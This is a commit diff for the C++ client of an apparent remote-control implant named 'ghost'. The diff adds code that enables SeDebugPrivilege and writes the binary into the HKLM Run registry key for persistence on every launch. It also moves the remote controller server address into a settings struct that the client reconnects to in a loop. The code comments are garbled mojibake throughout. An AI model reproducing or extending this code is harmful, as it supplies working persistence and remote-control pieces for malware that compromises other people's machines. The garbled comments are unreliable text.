feat: Update client build and add remote update feature

This commit is contained in:
yuanyuanxiang
2024-12-28 18:35:34 +08:00
parent 48260b367f
commit 8aa42d5db2
17 changed files with 346 additions and 53 deletions

View File

@@ -9,11 +9,13 @@
#include "KernelManager.h"
using namespace std;
// Զ<>̵<EFBFBD>ַ
char g_szServerIP[MAX_PATH] = {0};
unsigned short g_uPort = 0;
// <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>ֵ
#define REG_NAME "a_ghost"
// Ӧ<EFBFBD>ó<EFBFBD><EFBFBD><EFBFBD>״̬<EFBFBD><EFBFBD>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD><CBB3><EFBFBD>
// Զ<EFBFBD>̵<EFBFBD>ַ
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0};
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
BOOL g_bExit = 0;
// <20><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>״̬
BOOL g_bThreadExit = 0;
@@ -25,6 +27,60 @@ DWORD WINAPI StartClient(LPVOID lParam);
enum { E_RUN, E_STOP } status;
//<2F><><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8>
void DebugPrivilege()
{
HANDLE hToken = NULL;
//<2F>򿪵<EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>̵ķ<CCB5><C4B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int hRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken);
if (hRet)
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
//ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ȩ<EFBFBD>޵<EFBFBD>LUID
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD>Ȩ<EFBFBD><C8A8>
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
CloseHandle(hToken);
}
}
/**
* @brief <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @param[in] *sPath ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
* @param[in] *sNmae ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @return <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
* @details Win7 64λ<34><CEBB><EFBFBD><EFBFBD><EFBFBD>ϲ<EFBFBD><CFB2>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>ڣ<EFBFBD>\n
* HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
* @note <20>״<EFBFBD><D7B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>Թ<EFBFBD><D4B9><EFBFBD>ԱȨ<D4B1><C8A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD><D0A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EBBFAA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
*/
BOOL SetSelfStart(const char* sPath, const char* sNmae)
{
DebugPrivilege();
// д<><D0B4><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>·<EFBFBD><C2B7>
#define REGEDIT_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
// <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
HKEY hKey = NULL;
LONG lRet = RegOpenKeyExA(HKEY_LOCAL_MACHINE, REGEDIT_PATH, 0, KEY_ALL_ACCESS, &hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
if (lRet != ERROR_SUCCESS)
return FALSE;
lRet = RegSetValueExA(hKey, sNmae, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath) + 1);
// <20>ر<EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
RegCloseKey(hKey);
// <20>ж<EFBFBD><D0B6>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>
return lRet == ERROR_SUCCESS;
}
// <20><><EFBFBD>ؿ<EFBFBD><D8BF><EFBFBD>̨
// <20>ο<EFBFBD><CEBF><EFBFBD>https://blog.csdn.net/lijia11080117/article/details/44916647
// step1: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"<22>߼<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD>ΪmainCRTStartup
@@ -44,12 +100,13 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[])
{
status = E_RUN;
if (argc < 3)
if (!SetSelfStart(argv[0], REG_NAME))
{
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
return -1;
std::cout << "<EFBFBD><EFBFBD><EFBFBD>ÿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ù<EFBFBD><EFBFBD><EFBFBD>ԱȨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
}
status = E_RUN;
HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe");
if (ERROR_ALREADY_EXISTS == GetLastError())
{
@@ -58,12 +115,16 @@ int main(int argc, const char *argv[])
}
SetConsoleCtrlHandler(&callback, TRUE);
const char *szServerIP = argv[1];
int uPort = atoi(argv[2]);
printf("[server] %s:%d\n", szServerIP, uPort);
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
if (argc>=3)
{
g_SETTINGS.SetServer(argv[1], atoi(argv[2]));
}
if (strlen(g_SETTINGS.ServerIP())==0|| g_SETTINGS.ServerPort()<=0) {
printf("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: <20><><EFBFBD>ṩԶ<E1B9A9><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6>!\n");
Sleep(3000);
return -1;
}
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
do{
g_bExit = 0;
@@ -103,9 +164,8 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ghost
extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
g_bExit = false;
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
g_uPort = uPort;
g_bExit = FALSE;
g_SETTINGS.SetServer(szServerIP, uPort);
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
if (hThread == NULL) {
@@ -126,7 +186,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
// <20>Ƿ<EFBFBD><C7B7>˳<EFBFBD><CBB3>ͻ<EFBFBD><CDBB><EFBFBD>
extern "C" __declspec(dllexport) bool IsExit() { return 1 == g_bExit; }
extern "C" __declspec(dllexport) BOOL IsExit() { return g_bExit; }
#endif
@@ -138,7 +198,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
while (!g_bExit)
{
DWORD dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(g_szServerIP, g_uPort))
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{
for (int k = 500; !g_bExit && --k; Sleep(10));
continue;